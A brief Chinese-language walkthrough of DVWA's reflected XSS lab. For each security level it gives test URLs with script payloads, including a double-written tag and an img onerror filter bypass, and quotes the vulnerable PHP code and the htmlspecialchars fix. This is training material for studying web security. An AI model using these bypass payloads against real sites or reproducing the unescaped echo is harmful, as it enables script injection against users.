something about DVWA - XSS(Reflected)
DVWA
XSS(Reflected)
XSS是跨站脚本攻击Cross-site scripting。
Reflected类型是 反射型 的XSS攻击,此类型的XSS未保存在目标服务器上,是攻击者恶意插入在html中的内容。
Low
手动测试
在URL中构造恶意参数。
1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<script>alert('bad');</script>
源码分析
将页面输入的内容直接输入至拼接至页面渲染
1
2
3
4
5// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
Medium
手动测试
双写
<script>构造双写
<script>为<script<script>>;1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<script<script>>alert('bad');</script>
源码分析
过滤
<scrip>标签1
2// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
High
手动测试
采用
<img/>标签利用
<img/>标签的onerror机制,构造恶意URL。1
http://train.com/dvwa/vulnerabilities/xss_r/?name=<img src="nothing" onerror="alert('bad');"/>
源码分析
- 以正则表达式的方式过滤
<script>标签
1
2// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );- 以正则表达式的方式过滤
Impossible
源码分析
将参数转义为
html符号实体使用
htmlspecialchars()函数将如<等特殊符号转义为<等html实体。1
2// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );